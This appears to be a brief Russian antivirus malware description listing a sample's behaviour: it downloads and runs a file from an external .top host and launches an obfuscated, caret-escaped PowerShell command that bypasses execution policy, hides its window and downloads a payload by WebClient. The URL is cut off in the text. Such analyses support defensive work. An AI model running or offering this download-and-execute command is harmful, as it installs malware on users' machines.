Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://www.zoerpoled.top/read.php?f=1.gif как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /C "P^OWErSH^elL.e^x^e -exe^cu^t^i^OnP^oLi^cy by^PA^SS ^-^n^OP^ro^FIL^e^ ^-windo^W^s^tYLE H^ID^D^eN (NeW-o^bj^E^Ct s^Y^ST^E^m.^n^e^t.W^E^BC^lIe^nt^)^.D^owNlOAdfILe^('http://www...
Сетевая активность
UDP
- DNS ASK zo###oled.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /C "P^OWErSH^elL.e^x^e -exe^cu^t^i^OnP^oLi^cy by^PA^SS ^-^n^OP^ro^FIL^e^ ^-windo^W^s^tYLE H^ID^D^eN (NeW-o^bj^E^Ct s^Y^ST^E^m.^n^e^t.W^E^BC^lIe^nt^)^.D^owNlOAdfILe^('http://www...' (со скрытым окном)
